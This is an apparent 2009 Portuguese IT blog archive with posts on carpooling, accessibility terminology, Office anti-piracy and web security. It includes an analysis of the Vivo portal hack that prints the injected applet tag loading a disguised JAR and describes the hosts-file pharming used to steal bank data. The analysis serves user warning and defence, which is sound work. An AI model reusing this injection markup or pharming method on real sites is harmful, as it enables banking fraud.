setembro 2009


Hoje é o Dia Nacional do Trânsito.

Pensando no trânsito, o Governo MG lança o piloto de uma ideia muito interessante: Sistema de incentivo e gerenciamento de caronas! Além de inovativa e totalmente antenada à atualidade em tempos de busca da sustentabilidade e consciência socioambiental, a iniciativa é exemplo para qualquer instituição que tenha uma quantidade razoável de colaboradores.

Espero que a ideia ganhe adesão, tenha efetividade e, inclusive, ajude a minimizar o impacto do tráfego quando for inaugurada a Cidade Administrativa, nova sede do Governo de Minas Gerais.

No dia em que se comemora o Dia Nacional do Trânsito (25/09), o Sistema Estadual de Meio Ambiente e Recursos Hídricos (Sisema) lança o projeto MelhorAr MG, uma iniciativa pioneira no País que incentiva a carona corporativa. Os objetivos são reduzir o grande número de carros nas ruas, que causam o congestionamento do trânsito, e diminuir a emissão de CO2 gerado pelo deslocamento dos servidores públicos do Estado de Minas Gerais.

O Projeto Melhorar MG é desenvolvido pelo Sisema, em parceria com a Secretaria de Estado de Planejamento e Gestão (Seplag) e o Projeto Ambientação, e trata-se de um sistema de gerenciamento de caronas. Os servidores [do Sisema ou da Seplag] interessados em participar do projeto devem se registrar no site melhorarmg.meioambiente.mg.gov.br, e informar os caminhos utilizados na ida e volta do trabalho e a agenda semanal. Depois, o servidor deve selecionar o link ‘dar carona’ ou ‘pedir carona’ para encontrar outros usuários do sistema com o mesmo perfil de deslocamento.

Fonte: Sisema lança sistema de carona corporativa, Secretaria de Estado de Meio-Ambiente e Desenvolvimento Sustentável – SEMAD MG, 2009-09-24.

E que essa boa ideia possa chegar a São Paulo. Um dia desses, chegando de avião à capital paulista na hora do rush, fiquei espantado como praticamente todas as ruas da região central da cidade ficam iluminadas por linhas inacreditavelmente contínuas de luzes brancas (faróis) e vermelhas (lanternas) dos carros. Seria lindo se não fosse o caos!

Apesar deste ser um blog mais voltado a tecnologia da informação (TI), é sobre trânsito um artigo TOP 3 até hoje no histórico de acessos: Renovação da CNH, de fevereiro 2007.

Além do mais, ecologia e sustentabilidade também são tema atual frequente em tecnologia, no que se tem convencionado denominar TI Verde (Green IT).

Os datacenters de TI no mundo todo são responsáveis por uma escala estrondosa e crescente de produção de calor/aquecimento, de consumo de energia — tanto dos equipamentos quanto da refrigeração — e até de emissão de CO2. O Gartner estima que, só os computadores, respondem por 2% de todas as emissões globais de dióxido de carbono do planeta. Já o Forrester calcula que a TI atinge 10% das emissões de CO2 nas empresas.

Há muito tempo tenho vontade de elaborar uma Seleção de programas gratuitos ou livres para Windows que eu utilizo e recomendo.

São pouco mais de vinte programas que considero imperdíveis, em categorias como Documentos, Arquivos, Mídia, Internet e Segurança. Há também alguns utilitários mais técnicos, ou voltados para programação, ou ainda para os adeptos do Unix/Linux que por algum motivo estão “presos” ao Windows.

Pois bem, a vontade agora deu lugar à ação. No link acima, você encontra minha lista. Com o tempo, pretendo atualizá-la com mais indicações.

Espero que seja útil!

Um tema que sempre me interessa é o da inclusão e acessibilidade às pessoas com deficiência.

Um marco global rumo a inclusão das pessoas com deficiência foi a Declaração dos Direitos das Pessoas com Deficiência, publicada pela Assembleia Geral da Organização das Nações Unidas (ONU) em 9 de dezembro de 1975. “Em respeito à dignidade humana, estas pessoas têm os mesmos direitos fundamentais, civis e políticos que o resto de seus concidadãos e os demais seres humanos”.

A “Convenção Interamericana para a Eliminação de Todas as Formas de Discriminação contra as Pessoas Portadoras de Deficiência” — aprovada pelo Congresso Nacional do Brasil no Decreto Legislativo nº 198, de 13 de junho de 2001, e promulgada pelo Decreto Federal nº 3.956, de 8 de outubro de 2001 — define assim Deficiência:

O termo “deficiência” significa uma restrição física, mental ou sensorial, de natureza permanente ou transitória, que limita a capacidade de exercer uma ou mais atividades essenciais da vida diária, causada ou agravada pelo ambiente econômico e social.

A Convenção sobre os Direitos das Pessoas com Deficiência da ONU, editada em 6 de dezembro de 2006 e assinada pelo Brasil em 30 de março de 2007, considerou o termo pessoa com deficiência mais adequado para denominar as pessoas que possuem deficiência. Outros termos e expressões foram abolidos e considerados inadequados. São termos que podem segregar mais que incluir, ou mesmo serem ofensivos ou pejorativos.

  • O substantivo “deficiente” generaliza ou caracteriza a deficiência como o todo de uma pessoa, ou seja, passa a impressão de que a pessoa inteira é deficiente, quando na verdade a deficiência é apenas uma parte ou característica (adjetivo) dessa pessoa.
  • “Portador de deficiência” também soa inadequado, porque “portador” pode dar a impressão de hospedeiro ou transmissor como em uma doença, e deficiência não é doença. Mesmo considerando o significado literal de portador, a pessoa com deficiência não porta, transporta ou transmite deficiência, ela a possui.
  • A mais ridícula é “pessoa com necessidades especiais”, um eufemismo hipócrita criado na onda do “politicamente correto” surgida nos Estados Unidos, que é apenas uma fuga para não se dizer que uma pessoa tem deficiência. Mas deficiência é só uma restrição, não é uma aberração, e não deve assim ser motivo de vergonha ou embaraço nem para quem possui nem para nenhum interlocutor. Além do mais, se a diversidade é característica dos seres humanos, somos todos diferentes. E quem não precisa de determinadas coisas, situações e emoções para se sentir bem, completo, feliz? Somos todos pessoas com necessidades especiais.

Para complementar, recomendo o pequeno e instrutivo texto “Toques aos jornalistas“, da Secretaria dos Direitos da Pessoa com Deficiência, Governo do Estado de São Paulo.

Conceito ainda mais amplo é de Acessibilidade, que significa a promoção do amplo e igualitário acesso às oportunidades, atividades, produtos e serviços, por todas as pessoas. É considerar e respeitar a diversidade humana. Acessibilidade é prover meios visando oferecer igualdade ou equivalência de condições não só às pessoas com deficiência, mas também à pessoa idosa, crianças e adolescentes, enfim a quaisquer seres humanos que necessitem de precauções, adaptações ou cuidados específicos em certas situações.

Acessibilidade é um elemento chave na inclusão social da pessoa com deficiência. E na era do computador e da internet, integra também a inclusão digital. Também existe legislação de amparo no Brasil, em especial a “Lei da Acessibilidade”, Lei Federal nº 10.098, de 19 de dezembro de 2000.

A Secretaria Especial dos Direitos Humanos (SEDH) da Presidência da República do Brasil é o õrgão governamental que trata, entre os vários temas de inclusão, Pessoas com Deficiência e Acessibilidade.

Fazem parte da estrutura da SEDH a Coordenadoria Nacional para Integração da Pessoa Portadora de Deficiência – CORDE e o Conselho Nacional dos Direitos da Pessoa Portadora de Deficiência – CONADE, ligados ao Ministério da Justiça.

Muito mais do que leis, normas, convenções e mobilizações da sociedade civil, a prática da inclusão e acessibilidade às pessoas com deficiência não é trivial.

Ela começa por uma evolução de mentalidade e de atitudes. Quem não tem deficiência tem que começar pelo difícil exercício de se colocar no lugar da pessoa com deficiência, de perceber e compreender suas restrições, e as consequências e efeitos destas, bem como as dificuldades e limitações envolvidas. Tem que considerar sempre a diversidade humana em seu pensamento e em suas ações, e o fazer de forma sensata e efetiva. Tratar tudo isso como algo natural, como realmente o é. E tem que ter ideias e colocar em prática soluções para eliminar, minimizar ou contornar as deficiências. Isso é o que leva à acessibilidade e à inclusão.

O assunto é muito extenso. Mas a você que está lendo, já me basta por ora se você começar a refletir sobre isso.

E para ajudar, segue um monte de referências que vão ajudá-lo a se aprofundar no assunto, além dos links já citados ao longo do texto:

Para terminar, um vídeo muito instrutivo e inspirador, que eu adoro, dura pouco mais de 10 minutos mas vale muito a pena. “Acessibilidade Web: Custo ou Benefício?”, por Acesso Digital, Brasil. Fala especificamente sobre acessibilidade na web (internet), mas creio que permite compreender a importância e relevância do tema como um todo:

Ontem falei da atualização de mercado do relatório de Quadrante Mágico do Gartner para ECM/WCM.

Hoje atualizo os quadrantes mágicos para as plataformas de inteligência de negócios (business intelligence – BI), desde meu artigo com a visão geral das ferramentas e do mercado de BI em 2008.

Magic Quadrant for Business Intelligence Platforms, 2009, por James Richardson, Kurt Schlegel, Rita L. Sallam e Bill Hostmann, 2009-01-16, Gartner. Reproduzido por MicroStrategy (PDF, requer registro gratuito); Oracle (Press: Oracle Placed in Leaders Quadrant in Latest Business Intelligence Platforms Magic Quadrant, 2009-01-22; Industry Analyst Reports sobre Oracle BI).

Fonte: Gartner, janeiro 2009.

Líderes:
IBM (Cognos), Oracle, SAS, Microsoft, SAP (Business Objects), Information Builders, Microstrategy.

Magic Quadrant for Corporate Performance Management Suites, 2009, por Neil Chandler, Nigel Rayner, John E. Van Decker e James Holincheck, 2009-04-30, Gartner. Reproduzido por Oracle (Press: Leading Analyst Firm Positions Oracle’s Hyperion in Leaders Quadrant for Corporate Performance Management Suites, 2009-01-07; Industry Analyst Reports sobre Oracle EPM).

Fonte: Gartner, abril 2009.

Líderes: Oracle (Hyperion), SAP (Business Objects), IBM (Cognos).

Em maio, comentei sobre a Fusões de gigantes também no mercado de ECM, quando ocorreu a compra da Vignette pela Open Text. Aproveitei para fazer um panorama atual sobre o mercado de Gestão de Conteúdo Corporativo (ECM).

Em 5 de agosto último saiu o Quadrante Mágico para Web Content Management (WCM) do Garner, para o mercado de gestão de conteúdo web (um segmento específico do ECM), de autoria dos analistas Mick MacComascaigh, Toby Bell e Mark R. Gilbert, Gartner.

Fonte: Gartner, agosto 2009, reproduzido por Oracle (Industry Analyst Reports sobre Oracle ECM/WCM).

A Oracle se posiciona este ano como líder, emparelhada com Autonomy, Open Text e SDL.

Irina Guseva comentou a análise em Parsing Gartner’s 2009 Magic Quadrant for Web Content Management em artigo para CMS Wire, 2009-08-10.

E ainda neste mês de setembro deve sair o novo relatório anual do Gartner com o Quadrante Mágico para ECM 2009. Vamos aguardar que alguma das principais empresas fornecedoras divulgue a análise para o público.

Depois do WGA – Windows Genuine Advantage, o esforço da Microsoft para reduzir a pirataria do Windows, chega agora ao Brasil o OGA, Office Genuine Advantage para combater a pirataria do Microsoft Office.

Como sempre, sutilmente introduzido através das Atualizações Automáticas do Windows (Windows Update), o Notificador do Programa de Vantagens do Office Original da Microsoft é um utilitário que, se o usuário aceita instalar, não oferece recurso para ser desinstalado ou desativado posteriormente.

Se detecta uma cópia não original de um programa do Office (XP, 2003 ou 2007), o Notificador OGA passa a gerar uma série insistente de notificações com mensagens de programa não original:

  • Na inicialização de uma cópia do Office não original, exibe uma janela de mensagem e mantém um ícone na área de notificação do Windows;
  • Adiciona uma barra de ferramentas aos programas do Office não original, que exibe mensagem de notificação;
  • Para programas do Office 2007 pirata, adiciona também uma faixa (ribbon) com mensagem de notificação.

Imagem: Reprodução do Windows Update para Notificador OGA.

Veja transcrição dos termos de uso do Notificador OGA [TXT]. Você aceita?

Expansão

Conforme anúncio do Gerente Geral Microsoft para a Iniciativa de Software Genuíno (o programa anti-pirataria da Microsoft) em final de agosto, as Notificações OGA foram primeiro veiculadas como a atualização KB949810 para usuários do Office em quatro países — Itália, Espanha, Turquia e Chile — como um pequeno programa piloto, e não trouxe muitas reclamações, exceto quando o serviço de administração corporativa do Windows WSUS (Windows Server Update Services) acidentalmente publicou o notificador como atualização crítica durante 24 horas.

Assim, a Microsoft está gradativamente expandindo o OGA para mais países. A validação e notificações de Office Genuíno está sendo agora expandida para mais 13 países, que incluem Estados Unidos, Reino Unido, Peru, Porto Rico, Brasil, Austrália, Grécia, Irlanda, Países Baixos, Finlândia, Suíça, Índia, Taiwan e outros, chegando a um total de 41 países ainda este mês.

Com a expansão do programa, já há relatos de casos de incômodos ou problemas, principalmente em redes corporativas, de usuários legítimos de cópias originais do Office. Por isso, alguns especialistas recomendam que a instalação não seja feita e/ou que administradores de redes corporativas desabilitem a distribuição e instalação do OGA através do WSUS.

OpenOffice / BrOffice.org

Quem tiver uma cópia ilegítima (não original, pirata) do Microsoft Office, e quiser evitar todo esse incômodo, não perca mais tempo e faça como eu já fiz há muito tempo: adote o BrOffice.org (OpenOffice em português do Brasil) 3.1.1.

Gratuito, livre (software de código aberto e de livre distribuição) e cada vez mais completo e bem acabado, o OpenOffice/BrOffice.org inclui editores de documentos texto, planilhas, apresentações e bases de dados, e ainda um bom programa editor de desenhos e ilustrações (estilo CorelDraw) e um editor de fórmulas matemáticas e científicas.

O OpenOffice é totalmente compatível com os formatos de documento do Microsoft Office (Word, Excel, PowerPoint), inclusive os novos formatos do Office 2007. Mas oferece seu próprio formato nativo de documentos OpenDocument (ODF) que é completo e compacto, além de ser um padrão conciso e realmente aberto, norma internacional ISO. O OpenOffice ainda exporta nativamente documentos para o formato PDF.

O editor de textos (Writer) e de planilhas (Calc) do BrOffice são muito completos e robustos, oferecendo todos os recursos dos simples aos mais avançados encontrados no Word e no Excel.

O editor de apresentações (Impress) ainda não é tão inteligente como as facilidades de formatação automática do PowerPoint, mas atende bem e, espero, tende a melhorar ainda mais no futuro. Quanto ao banco de dados (Base), confesso que ainda não utilizo e por isso não tenho como opinar.

O único recurso que, creio, ainda pode melhorar compatibilidade é a linguagem de macros. O OpenOffice/BrOffice.org possui o recurso de macros, que podem ser programadas em BROffice Basic, Python, JavaScript ou BeanShell, mas a compatibilidade com o VBA (Visual Basic for Applications) do Microsoft Office ainda não é plena, principalmente porque esta última está intimamente integrada à própria API do Windows, o que obviamente traz dificuldades para programas independentes e multiplataforma como o OpenOffice.

Para quem não abre mão do Microsoft Office de jeito nenhum, saiba que você consegue comprar o Office Home and Student 2007 (Word, Excel, PowerPoint) com licença para instalar em três computadores por aproximadamente 150 reais. Nos Estados Unidos essa edição custa perto de 88 dólares.

Convenhamos, 50 reais por cópia doméstica instalada não serve mais de desculpa para pirataria, para aqueles radicais que ainda se remetem aos tempos em que ter um Microsoft Office original em casa custava quase mil reais. Já nas empresas, onde a licença Home Student não serve, o caminho econômico viável é o BrOffice.org mesmo.

Para saber mais

Siga mhavila no Twitter

É… o Twitter, a rede social de microblogs (mensagens curtas de até 140 caracteres), mesmo sem ainda ter interface traduzida para o português, já virou febre no Brasil. Daqui a pouco está igual Orkut.

Eu também estou, aos poucos, entrando nessa onda. Já criei até meu selo convidando: Siga-me no twitter!

Créditos do selo: Criado usando imagens twitter_logo em About Twitter – Download our logo e brownbird_left em Twitter – Find people, e fontes indicadas em Twitter Font. © 2009, Márcio d’Ávila, direitos reservados (CC SA 2.5).

[Atualizado em 2011-08-21, com referências do OWASP.]

Depois do incidente de segurança envolvendo o portal da operadora Vivo que abordei ontem, um artigo de hoje da IT Web tem tudo a ver: 5 lições de segurança, por Greg Shipley, Tyler Allison e Tom Wabiszczewicz, da empresa Neohapsis especializada em GRC (GRC em inglês), para InformationWeek EUA, 10/09/2009.

No artigo, os especialistas quebram o silêncio típico do mundo corporativo sobre segurança e trazem uma síntese de sua experiência em observação direta das brechas de segurança do mundo real onde realizaram investigações forenses, para ajudar as empresas a entender como essas brechas acontecem e o que se pode fazer sobre elas.

Eles ressaltam: “Após centenas de casos, podemos afirmar, sem sombra de dúvidas, que os ataques estão mais sofisticados do que nunca. Com agilidade, eles exploram controles de segurança falhos e práticas operacionais negligentes e, munidos com ferramentas comuns para gerenciamento de rede, adaptam malwares. Táticas e tecnologias de segurança da informação também progrediram, mas não no mesmo ritmo.”

O mais admirável é que os recursos para mitigar as brechas de segurança são métodos razoáveis e bem conhecidos. O que é preciso é um esforço para que esses métodos sejam implementados e continuamente praticados de forma mais ampla e efetiva pelas corporações.

Problema – vulnerabilidades e ameaças nas aplicações

O Website de uma empresa geralmente serve como porta de entrada para os ataques. Aplicativos web são a porta preferida dos invasores.

Isso porque equipes de TI em geral investem apenas em segurança do perímetro e do tráfego da rede, incluindo proteções clássicas como firewall, antivírus, antispam, IDS/IPS, SSH, HTTPS e VPN. E mesmo nestes casos, não fazem um monitoramento proativo e contínuo, nem tem um plano de resposta a incidentes consistente e efetivo. Por outro lado, mantém sistemas desatualizados e ignoram aplicativos falhos que podem, facilmente, ser explorados.

Códigos de software com pouca ou nenhuma preocupação com segurança desde sua concepção — o que passa inclusive pela escolha de tecnologias que já englobem conceitos e mecanismos nativos de segurança, robustez e proteção — escancaram brechas de segurança por todos os pontos das aplicações.

Nas aplicações corporativas internas, as maiores preocupações costumam ser com vazamento de informações e com uso e permissões indevidos — até mesmo maliciosos, no caso de colaboradores insatisfeitos ou despreparados, negligentes, imprudentes.

Mas quando as aplicações são externas, especialmente em portais, sítios e serviços web abertos à Internet, o universo de ameaças subitamente se expande para o mundo todo, para qualquer pessoa no planeta com acesso internet, algum tempo disponível e intenções que podem ir da curiosidade inconsequente ao crime.

Aplicações sem segurança tipicamente expõem vulnerabilidades amplamente conhecidas — do conhecimento de qualquer hacker de plantão — e graves como:

  • Autenticação vulnerável, com usuários e senhas fracas, pouco ou nenhum controle a tentativas de acesso “força bruta” etc.
  • Baixa granularidade de permissões, de forma que um vez acessado com usuário legítimo muitas vezes se permite acessar alguns serviços ou situações que não seriam efetivamente necessárias ou mesmo devidos àquele usuário.
  • Ausência de validação, consistência e crítica de dados no lado servidor, quando um usuário está com JavaScript desativado ou defeituoso no lado cliente.
  • Ausência de validação de condições limite nos tipos, formatos, valores e tamanhos recebidos em dados ou parâmetros fornecidos pelo usuário, permitindo ataques como Estouro de buffer e de pilha, Corrupção de memória, Negação de serviço (DoS).
  • Ausência ou insuficiência de tratamento robusto, inteligente e proativo de exceções na aplicação. Muitas vezes a maior parte das inúmeras situações de erro ou exceção possíveis são esquecidas, descartadas ou subestimadas pelos programadores.
  • Ausência de mecanismos de rastreabilidade e auditoria, como gravação de registros de log/históricos de acessos e ações do usuário e do próprio sistema.
  • Mecanismos de proteção (integridade e privacidade) de dados com criptografia ausentes, simplórios/precários, ou mal implementados.
  • Não evitar Injeção de código, Injeção de SQL, Injeção de HTML e Cross site scripting (XSS) nas entradas de dados e parâmetros fornecidos pelo cliente/usuário.
  • Utilizar ou permitir a Inclusão de arquivos locais (ou remotos).

A lista de possibilidades comuns poderia se estender. Mas por aí já se percebe que boa parte das aplicações na web são “queijos suíços” em potencial, em se tratando de abundância de furos de segurança.

Solução – informação e ferramentas desde o início

Ao abordarem que se deve levar segurança de TI a sério, os peritos apontam o caminho: “A melhor defesa de uma empresa é a integração da segurança no ciclo de vida de desenvolvimento de aplicativos. A criação de códigos com poucas falhas de segurança oferece um retorno maior do que se tentar reparar aplicativos em uso.”

A organização internacional Web Application Security Consortium (WASC) reúne um grupo de especialistas e praticantes de segurança e representantes de comunidades de código aberto, voltada para intercâmbio de idéias e organização e promoção de melhores práticas, em segurança de aplicação na World Wide Web. WASC consistentemente lança informação técnica, artigos, guidelines de segurança e outras documentações úteis sobre segurança de aplicações web.

Entre o material da WASC, destaco uma compilação com descrição de mais de 50 ameaças e vulnerabilidades em aplicações web, o Glossário de Segurança Web e o padrão de referência para avaliação de vulnerabilidades de aplicações web, Web Application Security Scanner Evaluation Criteria (WASSEC). O material é aberto, público e gratuito (em inglês).

Outra entidade dedicada a promover a melhoria da segurança em aplicações de software é a comunidade internacional Open Web Application Security Project (OWASP). Todas as ferramentas, documentação, fóruns e capítulos criados e mantidos pelo OWASP são livres, abertos e isentos.

Entre os projetos e material de referência mantidos pelo OWASP, destacam-se: Enterprise Security API (ESAPI), Development Guide, Ruby on Rails Security Guide, Secure Coding Practices – Quick Reference Guide, Application Security Verification Standard (ASVS), Code Review Guide, Testing Guide, OWASP Top Ten, AppSec FAQ Project, How To’s and Cheat Sheets, Software Assurance Maturity Model (SAMM), Comprehensive, Lightweight Application Security Process (CLASP).

Para a varredura e análise de vulnerabilidades em aplicações existem ferramentas para auxiliar e prover alguma automação e agilidade nos trabalhos. Há desde softwares livres como o Wapiti – Web application vulnerability scanner / security auditor e o OWASP Zed Attack Proxy, até produtos comerciais como IBM Rational AppScan e HP WebInspect / Application Security (veja também Web Application Scanners Comparison).

Também o padrão internacional ISO/IEC 15408: Information technology — Security techniques — Evaluation criteria for IT security é um conjunto de normas disponíveis gratuitamente.

O padrão ISO 15408 é baseado no Common Criteria for Information Technology Security Evaluation / Critérios Comuns para Avaliação de Segurança de Tecnologia da Informação (abreviado como Common Criteria ou CC). Este, por sua vez, é originado dos padrões para critérios de avaliação de segurança do Departamento de Defesa dos Estados Unidos (TSEC), Canadá (CTCSEC) e Europa (ITSEC, França, Alemanha, Países Baixos e Reino Unido).

CC é um framework padronizado de critérios para especificação, implementação e avaliação de requisitos e propriedades de segurança em sistemas de informação e produtos de TI. O rigor da avaliação é medido em sete níveis, Evaluation Assurance Level, EAL1 a EAL7. Cada EAL consiste em um pacote ou conjunto de requisitos de segurança, denominados Security Assurance Requirements (SARs).

Até eu dou modestas contribuições de informação sobre boas práticas que podem garantir um código de aplicação mais segura, nos artigos: Eficiência e segurança com SQL parametrizado e Senhas armazenadas com segurança.

Não faltam informação e recursos livremente disponíveis, em abundância e muitas delas de alta qualidade e fácil utilização, para que as empresas e instituições comecem a praticar e adotar a construção de aplicações seguras.

Essa preocupação é especialmente crítica na web, que cada vez mais se apresenta como um veículo de serviços e aplicações em larga escala e abrangência.

Empresas do meu Brasil (e do mundo!), cuidem seriamente da segurança de suas aplicações e serviços, especialmente na internet!

Para saber mais:

  • Referências sobre Segurança Digital e Privacidade, incluindo Informação sobre segurança, Entidades e centros, Criptografia, Infraestrutura de chaves públicas (ICP), Malware, Segurança de e-mail, Firewall, Prevenção e detecção de intrusos, Padrões, Protocolos e aplicações, Privacidade, Bibliografia e outros tópicos relacionados.

Ontem (dia 8), foi descoberto um incidente de segurança que comprometeu o portal da operadora de telefonia Vivo e pode ter afetado milhares de usuários.

Explorando alguma vulnerabilidade de segurança no portal da Vivo, um atacante conseguiu injetar no portal um código malicioso. Quem acessou a página principal ( http://www.vivo.com.br/portal/home.php ) infectada recebia a solicitação para que fosse instalado um applet (miniaplicativo Java), que era na verdade um código malicioso.

Portal Vivo - applet malicioso
Crédito da imagem: Victor Santos, blog The Hackerbuster.

O arquivo injetado por atacantes no portal da operadora foi “disfarçado” como se fosse uma imagem JPEG, quando na verdade era um pacote executável Java (formato JAR) do applet malicioso, conforme se pode ver pelo trecho de código a seguir:

<applet name=”Vivo Online - IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)” code=”laa.class” archive=”http://www.vivo.com.br/portal/co/logo_top.jpg” width=”0″ height=”0″><param name=”Vivo Online” value=”"></applet>

A análise de segurança do código descompilado do miniaplicativo malicioso evidencia dois aspectos principais: o objetivo da fraude e a exploração de mais vulnerabilidades — no portal da Vivo e em um portal colaborativo da Universidade de São Paulo – USP ( goos.io.usp.br ).

A vulnerabilidade no portal da Vivo expôs gravemente o site e foi divulgada em muitos blogs e sites na internet. Permitia a qualquer pessoa com algum conhecimento técnico obter dados sensíveis do computador onde o site está hospedado e até executar comandos. A falha ficou válida até a tarde de hoje, quando a página vulnerável foi removida do site.

A fraude

O objetivo da fraude é, como em quase todos os casos brasileiros de phishing scam, roubar dados bancários.

Como se percebe pela análise técnica do código do applet malicioso, seu propósito era comprometer o computador do usuário, de modo que a tentativa de acesso aos sites de alguns bancos brasileiros levasse à réplicas fraudulentas destes. As réplicas solicitam do usuário todos os dados bancários que dão ao criminoso o acesso eletrônico à conta de banco.

O applet malicioso tenta gravar no arquivo \WINDOWS\system32\drivers\etc\host endereços IP falsos dos sites dos bancos Santander, Itaú, Bradesco e Nossa Caixa. O sistema operacional Windows normalmente consulta este arquivo local antes de procurar resolver via serviço Internet DNS o endereço físico (número IP) que leva a um site (nome de domínio) fornecido ou acessado pelo usuário. Os endereços IP fraudulentos levavam a réplicas maliciosas dos sites desses quatro bancos.

Assim, se o usuário acessou o site da Vivo comprometido, executou o applet, utiliza o Windows em seu computador e depois tentou acessar os endereços adulterados de um dos bancos, chegaria a réplicas fraudulentas destes, conforme ilustrações a seguir:



A fraude do Bradesco não estava sendo exibida corretamente quando acessei, por isso não foi reproduzida aqui.

Fraude Nossa Caixa – Passo a passo

Experimentei prosseguir (com dados fictícios, claro!) na fraude da Nossa Caixa, para ver o que ela faz. Basicamente, ela solicita, do incauto usuário, todos os dados de sua conta bancária: agência e conta, senha, assinatura eletrônica e todos os dados do cartão de segurança do banco. Veja o passo a passo.

1) O usuário clica em “Acesse sua conta” (veja imagem acima).

2) A tela seguinte (bemvindo.php) solicita usuário e senha. O site fraudulento não tem “cadeado” do HTTPS.


Para o preenchimento da senha, há inclusive a opção de usar um Teclado Virtual.


3) A título de “checagem de conta para sua segurança”, a próxima tela (checalogin.php) solicita os números da agência e da conta.


4) A próxima tela (CarregaConta.php) exibe uma tela de entrada, saudando o usuário pelo login fornecido. Todas as opções da barra de menu na parte superior levam para a mesma tela seguinte.


5) Escolhendo qualquer das opções do menu superior, chega-se à próxima tela (ChecarConta.php). Agora é solicitada a assinatura eletrônica.

Nesta tela, é inclusive obrigatório o uso do Teclado Virtual.

Se o usuário fornecer uma assinatura com poucos dígitos, o sistema informa que está inválida.

6) Assinatura validada, chega-se à próxima tela (ChecarConta2.php). Agora, o usuário tem que transcrever tudo que aparece no “Nossa Chave de Segurança”.


7) E por fim, o usuário vai ter mais trabalho agora: tem que transcrever todos os dados do seu “Nossa Chave de Segurança”, uma grande tabela de dados na tela ChecarConta3.php.


8) Depois disso, a última tela tem um nome descarado: salvadados.php. Pronto! Todos os dados do usuário foram salvos na base de dados do ladrão. Essa tela então exibe um texto dando a indicar que as configurações do navegador não estão adequadas. O link existente ao final, “Página Principal”, leva para a tela de entrada do home banking verdadeiro do banco Nossa Caixa.

Aí já é tarde demais, se o usuário digitou seus dados bancários corretos em todas as telas anteriores, eles já estão nas mãos de bandidos.

Fraude Itaú – Passo a passo

A fraude do Itaú é mais simples, solicita apenas agência, conta e senha.

1) Primeiro, o usuário deve digital agência e conta na tela inicial (veja na ilustração no início do artigo).

2) Na tela seguinte (bklcgi.php), é solicitada a senha eletrônica do Itaú Bankline. Tudo sem “cadeado” do HTTPS.

Ao invés do nome da pessoa, é exibida a palavra “Entrar” no botão que abre o teclado virtual (o site real exibiria o nome do correntista).

Ao fornecer a senha uma vez, é exibido um aviso “Senha incorreta, restam agora duas tentativas.”

Solicitada a senha novamente, nova mensagem informa “Sua senha está inválida, favor efetue o login novamente!”

Em seguida, o usuário é conduzido à página real do Itaú Bankline.

Usuários atentos poderão perceber sutis diferenças. Usuários desatentos podem ser levados a informar os dados sigilosos que darão a um criminoso o acesso eletrônico à sua conta bancária!

Comunicado oficial da Vivo

Transcrevo a seguir o Comunicado da operadora Vivo à imprensa sobre o ocorrido, divulgado em seu portal (A Vivo – Comunicados) em 2009-09-09:

Ataque de hackers ao site da Vivo

Um dos servidores de acesso de usuários ao Portal da Vivo na Internet foi vítima de um ataque de hackers nesta terça-feira, dia 08 de setembro. A partir da detecção do ataque, as equipes de segurança da informação da Vivo entraram em ação e solucionaram o problema às 00h50 desta quarta-feira.

A Vivo informa que os usuários que clicaram numa falsa janela de “warning security” para execução de arquivo, é que podem ter tido o seu computador infectado. Portanto, a recomendação da Empresa é que usuários que tenham acessado o portal www.vivo.com.br no período de 16h07 de 08/09/2009 até as 00h50 de 09.09.2009, e que tenham executado o falso arquivo, evitem acessar sites de bancos até que façam uma verificação de segurança em seu computador.

A Vivo informa que os serviços disponíveis no seu portal não foram afetados e continuam disponíveis e seguros aos seus clientes.

Minhas recomendações

Quem acessou o portal da Vivo nos dois últimos dias (8 e 9 de setembro), usa sistema operacional Windows e clicou o botão “Run” na janela de aviso de segurança do portal (ilustração no início do artigo) — que executa o código malicioso — provavelmente está com seu computador comprometido (infectado).

Deve inicialmente evitar acessar sites bancários neste computador, e fazer verificações de segurança no computador, com o auxílio antivírus e outros utilitários de inspeção de segurança atualizados e, se for o caso, ajuda técnica profissional. Em especial, deve-se rastrear a adulteração do arquivo de sistema \WINDOWS\system32\drivers\etc\host, onde o código malicioso adiciona os IPs fraudulentos.

Quem está nessa situação de risco e acessou site do banco deve também entrar em contato — por telefone ou pessoalmente — com o banco e se informar sobre a possibilidade de ter sido vítima de fraude bancária.

Conclusões

Alguns aspectos que se pode concluir dessa fraude:

  • Como quase sempre, o grande objetivo do ataque envolve roubar dados bancários. Os usuários devem ter muito cuidado, precauções e uma boa dose de desconfiança ao acessar o banco pela internet ou informar dados bancários — ou outros dados pessoais e sigilosos — em qualquer site que seja.
  • A atenção na internet deve ser constante. Principalmente aos detalhes. Um importantíssimo: Nas fraudes bancárias acima, o criminoso não conseguiu fraudar uma conexão segura HTTPS, que faz o navegador exibir o famoso “cadeado”. Quem acessa o site do seu banco deve prestar atenção a cada detalhe. Qualquer diferença sutil que seja (e nestas fraudes existem algumas em relação aos sites verdadeiros) deve ser motivo para o usuário não prosseguir e, de preferência, entrar imediatamente em contato com o seu banco (por telefone ou pessoalmente).
  • Enquanto a maioria das fraudes de falsificação de site (phishing scam) na internet tenta se proliferar através de mensagens de spam por correio eletrônico, esta fraude bancária conseguiu explorar uma vulnerabilidade de um reconhecido portal de serviços, no caso o da operadora de telefonia Vivo, fazendo o portal hospedeiro e difusor do código malicioso. Neste caso, o perigo é muito maior, pois quando o site real da Vivo solicita a execução de algum complemento, mesmo o usuário cauteloso (que já deve desconfiar de e-mails suspeitos) tende a confirar no site. Ponto negativo para a Vivo, que ao deixar um grande portal vulnerável por um dia inteiro, pôs em grave ameaça milhões de usuários que confiaram na empresa.
  • A Internet é uma maravilha espetacular da informação, dos serviços on-line, do comércio eletrônico. Com certeza. Mas está cada vez mais e mais perigosa!

Para saber mais

Análises técnicas da falha explorada:

Notícias sobre este incidente de segurança [Atualizado em 2009-09-10]:

Um dos artigos mais populares e citados do meu site, Phishing Scam – A fraude inunda o correio eletrônico é fruto de um trabalho pessoal de coleta de exemplos de fraude ao longo de quase três anos, entre 2004 e 2007.

Resultou na coleta de mais de 360 amostras de fraude, ilustradas (apenas como imagem inofensiva reproduzida da tela), que foram cuidadosamente classificadas e organizadas em categorias.

A amostragem é mais do que suficiente para o efeito didático e informativo desejado de caracterizar e exemplificar os mais diversos temas de fraude a que os usuários de internet estão sujeitos a todo momento.

De 2007 em diante, o artigo tem recebido apenas pequenos retoques de conteúdo, como atualizações de informação e links ou algum novo exemplo de fraude relevante.

